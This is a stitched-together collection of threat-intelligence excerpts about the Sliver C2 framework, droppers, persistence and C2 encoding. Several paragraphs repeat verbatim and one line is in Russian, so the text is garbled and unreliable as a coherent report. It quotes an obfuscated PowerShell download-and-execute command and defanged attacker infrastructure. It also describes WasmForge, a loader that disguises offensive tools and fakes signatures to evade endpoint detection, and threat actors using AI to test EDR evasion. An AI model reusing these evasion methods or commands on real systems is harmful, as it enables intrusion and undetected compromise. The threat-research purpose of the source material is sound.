Sliver

The content repeatedly states that threat actors 'obtained,' 'acquired,' or 'used' publicly available, open-source, legitimate, or modified tools such as Mimikatz, Cobalt Strike, PsExec, Empire, Impacket, and many others.

At that point, they captured a victim’s credentials, which led them to query Active Directory.

Soon enough, an Initial Access Broker (IAB) ... used a phishing campaign and executed offensive hacking tool Sliver on the endpoint.

The malicious applet also creates a task in Windows Task Scheduler to gain persistence in the system. The task name has the following format: MicrosoftEdgeUpdateTaskMachineUA{GUID}.

A framework created by cybersecurity researcher Muhammad Osama supports automated penetration testing. Dubbed HexStrike-AI, it connects large language models to more than 150 existing security tools, running them in sequence with retry logic and error recovery.

run-script.ps1, a PowerShell script to load and execute code via PowerShell. The file contains: powershell -w hidden -ep bypass -c "I''E''X...DOWNLOADDaTa(...)"

The infection begins with bootstrap.sh, a shell script designed for Linux systems. This script serves only to set up the environment and download additional payloads.

helper.vbs, a VBS file ... that executes run-script.ps1.

The URL hxxps://battleflight[.]org/download/installer hosted the executable BattleFlight-Install-v11.0.3.exe, a C# dropper disguised as an installer for a drone pilot training simulator.

The malicious applet also creates a task in Windows Task Scheduler to gain persistence in the system. The task name has the following format: MicrosoftEdgeUpdateTaskMachineUA{GUID}.

At that point, they captured a victim’s credentials, which led them to query Active Directory.

The malicious applet also creates a task in Windows Task Scheduler to gain persistence in the system. The task name has the following format: MicrosoftEdgeUpdateTaskMachineUA{GUID}.

BUMBLEBEE has Rabbort.DLL embedded, using it for process injection... shi Injects task’s data into a new process... dij Injects task’s data into a new process.

At that point, they captured a victim’s credentials, which led them to query Active Directory.

Normally this is the point when we start changing strings and hoping for the best... Maybe the entropy in your binary is off because you wanted to use compression... Maybe the file needs some kind of spoofed Authenticode signature... we need to spend time hardening our binaries against static analysis.

This post is about that loader, which we call WasmForge ... You point it at a Go project and you get back a Windows or macOS binary that runs your tool but doesn’t look anything like it ... The third generates an outer Go binary containing a Wazero runtime, embeds the encrypted WASM module into the binary’s PE sections.

The loader compiles the original tool to WebAssembly, wraps it in a runtime that proxies syscalls and Win32 APIs back to the host, and ships the WASM payload encrypted inside an outer Go binary disguised as a real piece of infrastructure software.

Once we had a working ghost-profile pipeline producing reliably clean binaries... The loader compiles the original tool to WebAssembly, wraps it in a runtime... and ships the WASM payload encrypted inside an outer Go binary disguised as a real piece of infrastructure software.

BUMBLEBEE has Rabbort.DLL embedded, using it for process injection... shi Injects task’s data into a new process... dij Injects task’s data into a new process.

At that point, they captured a victim’s credentials, which led them to query Active Directory.

the C# dropper contains the EchoGather payload, which is Base64-encoded and XOR-encrypted.

Sliver – We tested ... execute-assembly against Seatbelt and Rubeus ... Watching execute-assembly Rubeus.exe kerberoast complete successfully against a domain controller, through a WASM-bridged COM call into the CLR running a loaded Rubeus assembly, was significantly more rewarding ...

Maybe the file needs some kind of spoofed Authenticode signature... Last month one of our build pipelines to obfuscate Sliver started getting hit at 100% by AhnLab... every single binary that we’d faked a digital signature for was detected with that exact rule.

Sliver – We tested beacon and session implants ... file I/O, process listing ... Tribunus ... standard commands like shell, ps, netstat, whoami .

URI patterns and PCAPs analysis yielded evidence of both English word type encoding within Sliver and Gzip formatting.

Some Backdoor.Oldrea samples use standard Base64 + bzip2... gh0st RAT has used Zlib to compress C2 communications data before encrypting it... HOPLIGHT has utilized Zlib compression to obfuscate the communications payload.

These included customized Cobalt Strike profiles designed to mimic legitimate web traffic. Telegram bot–based command-and-control channel to hide communications within trusted infrastructure. A Cloudflare Worker was also used as a redirector to obscure the true backend C2 server.

Palo Alto firewalls likely exploited via the newly disclosed CVEs would commonly utilize the Sliver C2 platform for external communication... multiple devices contacted the Sliver-linked IP address 77.221.158[.]154 using HTTP to retrieve Gzip files.

По MITRE ATT&CK это конкретные техники: Proxy ( T1090, Command and Control ) - маршрутизация C2-трафика через промежуточный узел

The whole pipeline exists to solve one specific problem: take an existing offensive security tool, change zero lines of its source code, and produce a binary you can actually drop on a hardened endpoint.

C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding... APT19 HTTP malware variant used Base64 to encode communications to the C2 server... APT33 has used base64 to encode command and control traffic.

The applet loading results in the deployment of a Sliver post-exploitation framework implant within the Fondue.exe memory.

External connectivity during this phase also featured TCP connection attempts over uncommon ports for common application protocols... devices utilized destination ports such as 8089, 3939, 8880, 8084, and 9999 for the HTTP protocol.

Several targeted customer devices were observed initiating TLS/SSL connections to rare external IPs with self-signed TLS certificates following exploitation... These TLS/SSL sessions were typically established without the specification of a Server Name Indication (SNI).

ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.

Sophos X-Ops analysts observed a threat actor using artificial intelligence (AI) technologies to test endpoint detection and response (EDR) evasion tactics in a “red team” post-exploitation framework.

The activity was detected when an anomalous endpoint registered within a customer tenant triggered alerts... indicative of a broader attack framework focused on evading detection... a lab that uses an iterative approach to developing and testing malware against the Sophos, CrowdStrike, and Windows Defender endpoint detection and response (EDR) agents.